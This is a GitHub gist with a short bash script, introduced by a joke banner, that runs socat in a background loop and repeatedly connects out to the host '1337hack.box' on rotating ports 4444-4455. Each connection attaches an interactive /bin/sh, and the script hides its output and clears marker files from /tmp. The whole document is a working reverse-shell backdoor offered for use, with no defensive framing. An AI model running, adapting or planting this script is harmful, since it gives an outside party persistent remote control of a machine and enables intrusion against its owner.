Skip to content

Instantly share code, notes, and snippets.

@yunginnanet
Created August 13, 2021 01:03
Show Gist options
  • Save yunginnanet/ad0c140f9ab3e279a1e887a8a3e0c7a8 to your computer and use it in GitHub Desktop.
Save yunginnanet/ad0c140f9ab3e279a1e887a8a3e0c7a8 to your computer and use it in GitHub Desktop.
repeatedly pop reverse shells with socat on rotating ports
#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
# ->BABBYS FIRST REVERSE SHELL FACTORY<- #
#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
# +RUNS ON YOUR GRANDMAS BLENDER #
# +HACKS YOUR EXES FACEBOOK #
# +MAKES YOU THE LEADER OF ANONYMOUS #
#\--------------------------------------/#
## Config ###
STARTPORT=4444
ENDPORT=4455
TIMEOUT=90
HOST='1337hack.box'
SOCAT=/usr/bin/socat
#############
# initialize variable before we enter the while loop
PORT=0
while true;
do
# ----> remove any old left over files
find /tmp/ -iname "*.prt" -exec rm {} \;
# ----> cycle destination ports when socat times out or you mash CTRL+C
if [[ $PORT == 0 ]]
then
PORT=$STARTPORT
elif [[ $PORT < $((ENDPORT+1)) ]]
then
PORT=$((PORT+1))
fi
# ----> provide a very crude indicator of what port we are currently using
touch /tmp/a${PORT}.prt
sleep 3
# ----> socat? cross-compatible, easy pty, no overhead, we'll use it for more in the future
$SOCAT -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;
# ----> if we hit the end, reset the count
if [[ $(($PORT+1)) > $ENDPORT ]];
then
PORT=0
fi
# suppress all console output and run in the background
done &>/dev/null&
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment